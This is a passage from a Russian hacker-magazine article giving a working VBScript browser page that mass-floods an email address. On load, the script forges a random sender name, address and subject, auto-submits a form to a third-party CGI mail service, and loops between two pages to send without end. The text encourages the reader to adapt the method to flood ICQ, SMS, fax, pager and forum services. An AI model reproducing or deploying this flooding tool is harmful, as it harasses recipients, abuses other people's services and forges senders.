ОФИСНЫЙ СПАМ - бомбежка из броузера Анализирующий Спецвыпуск Xakep, номер #033, стр. 033-050-5 sub window_onload 'Формирование и отправка писем начинается сразу после открытия документа. Randomize 'Оптимизируем генератор случайных чисел. 'Процедура формирования _имени_ отправителя :). for x = 1 to 8 'Указывай длину ника. symb = Int((26)*Rnd)+96 'Случайным образом определяется символ. if symb <> 96 then 'Проверяется, является ли он буквой. fromnik = fromnik & chr(symb) 'Если да, то он присоединяется к нику. end if 'Конец проверки. next 'Переход к следующему символу. 'Аналогично формируется ложный логин обратного адреса. for x = 1 to 6 symb = Int((26)*Rnd)+96 if symb <> 96 then maillogin=maillogin & chr(symb) end if next 'и ложный домен. for x = 1 to 6 symb = Int((26)*Rnd)+96 if symb <> 96 then maildomain=maildomain & chr(symb) end if next frommail = maillogin & "@" & maildomain & ".com" 'Конструируется полный адрес отправителя. 'Формируется тема письма. for x = 1 to 10 symb = Int((26)*Rnd)+96 if symb <> 96 then mailsubj=mailsubj & chr(symb) end if next 'Используя полученные данные, генерируется заполненная форма. Document.open Document.write "<form action='http://www.anysite.com/cgi-bin/mailsender.cgi' name='formname' method='POST'>" Document.write "<input type='text' name='fname' value='" & fromnik & "'><BR>" Document.write "<input type='text' name='femail' value='" & frommail & "'><BR>" Document.write "<input type='text' name='toemail' value='billgates@microsoft.com'><BR>" Document.write "<input type='text' name='subject' value='" & mailsubj & "'><BR>" Document.write "<textarea rows=8 cols=34 name='body' maxlength=1000>Hi</textarea><BR>" Document.write "<input type='submit' value='Отправить'> " Document.write "<input type='reset' value='Очистить'>" Document.write "<input type='hidden' name='lng' value='ru'>" Document.write "<input type='hidden' name='v' value='post'>" Document.write "</form>" Document.close document.formname.submit mailsubj="" frommail="" 'Обнуляем использованные переменные. 'После чего она отправляется. window.location="send1.html" 'Для обновления параметров загружаем второй документ. end sub --></SCRIPT> </BODY> </HTML> Теперь копируй этот файл с именем send1.htm и заменяй строку кода window.location="send1.html" на window.location="send.html". В итоге, после запуска одного из них из первого документа будет вызываться второй, а из второго - первый. Получается кольцевая схема. Флуд будет продолжаться до тех пор, пока ты не умудришься закрыть окно браузера. А это не так-то просто (поверь мне ;)) как с моральной, так и с физической стороны. РАСШИРЬ КРУГОЗОР Данный способ пригоден для флуда не только электронной почты, но и ICQ, SMS, факсов, пейджеров и, при некотором ухищрении, - форумов, если там нет авторизации. Достаточно лишь найти соответствующие сервисы, задав в поисковой машине комбинации "+send +free +sms", "+send +free +fax" и т.д. Не бойся экспериментировать. Если не получилось, попробуй добавить что-либо из оригинального документа. Все зависит от конкретного сайта. |